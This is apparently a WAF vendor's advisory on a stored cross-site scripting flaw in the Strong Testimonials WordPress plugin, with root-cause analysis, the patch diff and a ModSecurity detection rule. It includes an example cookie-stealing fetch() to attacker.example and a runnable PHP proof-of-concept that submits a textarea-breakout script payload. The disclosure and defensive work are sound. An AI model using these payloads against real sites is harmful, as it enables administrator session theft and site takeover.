Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Get Protected FreeAtomic Edge analysis of CVE-2026-136221: The Strong Testimonials WordPress plugin, up to and including version 3.3.22, contains an unauthenticated stored cross-site scripting vulnerability. The flaw resides in the admin post editor rendering of custom textarea fields. Successful exploitation requires the paid Custom Fields extension (or a plugin hooking wpmtst_default_fields) and an administrator having added a custom textarea field to a public submission form. The CVSS score is 7.2 (High).
The root cause is insufficient output escaping in the file strong-testimonials/admin/class-strong-testimonials-post-editor.php at lines 162-168. The function renders a textarea element using printf. The field value is retrieved from the post object property $post->{$field[‘name’]} and passed through wp_kses_post() before being placed inside the textarea. wp_kses_post() strips dangerous HTML tags but does not prevent the literal closing textarea tag () from breaking out of the element context. An attacker can submit a value containing alert(1) or similar. On the admin post editor screen, this payload escapes the textarea and executes in the administrator’s browser.
Exploitation is unauthenticated. An attacker identifies a public submission form that includes a custom textarea field (for example, wfx_note), then submits a testimonial with the textarea parameter set to a payload such as fetch(‘https://attacker.example/steal?c=’+document.cookie). The testimonial is stored. When an administrator later opens the testimonial in the post editor, the payload executes. No authentication or nonce is required at submission time.
The patch replaces wp_kses_post() with esc_textarea( html_entity_decode( (string) $post->{$field[‘name’]}, ENT_QUOTES | ENT_HTML5, get_bloginfo( ‘charset’ ) ) ). The html_entity_decode() call first reverts stored entities (for example, <textarea>) to literal characters. esc_textarea() then escapes all HTML entities including angle brackets and quotes, so the closing textarea tag becomes harmless text. The before behavior allowed raw HTML syntax to break the textarea context; the after behavior renders the entire value as literal text inside the textarea, preventing script execution.
If exploited, this vulnerability allows an attacker to execute arbitrary JavaScript in the context of an administrator’s session. Impact includes session cookie theft, privilege escalation (creating admin users), and full site compromise. The attack is persistent (stored) and requires only a single public form submission. All versions up to and including 3.3.22 are affected.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/strong-testimonials/admin/class-strong-testimonials-post-editor.php
+++ b/strong-testimonials/admin/class-strong-testimonials-post-editor.php
@@ -162,7 +162,8 @@
printf(
'<textarea id="%1$s" name="custom[%1$s]" class="custom-input">%2$s</textarea>',
esc_attr( $field['name'] ),
- wp_kses_post( $post->{$field['name']} )
+ // Decode first so stored entities like < still display as they did with wp_kses_post().
+ esc_textarea( html_entity_decode( (string) $post->{$field['name']}, ENT_QUOTES | ENT_HTML5, get_bloginfo( 'charset' ) ) )
);
}
--- a/strong-testimonials/strong-testimonials.php
+++ b/strong-testimonials/strong-testimonials.php
@@ -5,7 +5,7 @@
* Description: Collect and display your testimonials or reviews.
* Author: WPChill
* Author URI: https://wpchill.com/
- * Version: 3.3.22
+ * Version: 3.3.23
* Text Domain: strong-testimonials
* Domain Path: /languages
* Requires: 4.6 or higher
@@ -44,7 +44,7 @@
exit;
}
-define( 'WPMTST_VERSION', '3.3.22' );
+define( 'WPMTST_VERSION', '3.3.23' );
define( 'WPMTST_PLUGIN', plugin_basename( __FILE__ ) ); // strong-testimonials/strong-testimonials.php
define( 'WPMTST', dirname( WPMTST_PLUGIN ) ); // strong-testimonials
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-136221
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:2026136221,phase:2,deny,status:403,chain,msg:'CVE-2026-136221 Stored XSS via Strong Testimonials custom textarea',severity:'CRITICAL',tag:'CVE-2026-136221'"
SecRule ARGS_POST:action "@streq wpmtst_submit_testimonial" "chain"
SecRule ARGS_POST:custom
"@rx (?i)(?:</textarea|<script|onerrors*=|onloads*=|javascript:)"
"t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-136221 - Strong Testimonials <= 3.3.22 - Unauthenticated Stored XSS via Custom Textarea Field Value
// Configure target
$target_url = 'http://vulnerable-wordpress.local';
// The custom textarea field name configured by the admin (example: wfx_note)
$field_name = 'wfx_note';
// Payload breaks out of the textarea and executes when admin views the testimonial
$payload = '</textarea><script>alert(document.cookie)</script>';
// Step 1: Fetch the public submission form to obtain any required form identifiers and nonces
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/testimonial-submission/');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$form = curl_exec($ch);
curl_close($ch);
// Extract form nonce if present (adjust regex to the actual form markup)
preg_match('/name="wpmtst_form_nonce" value="([^"]+)"/', $form, $m);
$nonce = $m[1] ?? '';
// Step 2: Submit the testimonial with the malicious textarea value
$post_fields = array(
'action' => 'wpmtst_submit_testimonial', // adjust to the actual submission action if different
'wpmtst_form_nonce' => $nonce,
'testimonial_title' => 'Atomic Edge PoC',
'testimonial_content' => 'This is a test submission.',
'custom[' . $field_name . ']' => $payload, // malicious value inserted into custom textarea field
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
curl_close($ch);
echo "Submitted payload. Admin must open the testimonial for execution.n";
echo "Response: " . $response . "n";
?>